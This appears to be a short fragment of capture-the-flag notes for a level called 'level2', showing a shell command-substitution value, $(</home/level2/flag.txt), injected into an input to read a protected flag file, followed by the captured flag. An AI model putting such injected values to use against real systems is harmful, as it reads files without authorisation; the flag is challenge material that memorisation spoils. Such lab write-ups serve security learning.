here, we redirect the output of </home/level2/flag.txt into $input, by running this command: $(</home/level2/flag.txt)
</home/level2/flag.txt
$(</home/level2/flag.txt)
Flag:FLAG-a78i8TFD60z3825292rJ9JK12gIyVI5P
FLAG-a78i8TFD60z3825292rJ9JK12gIyVI5P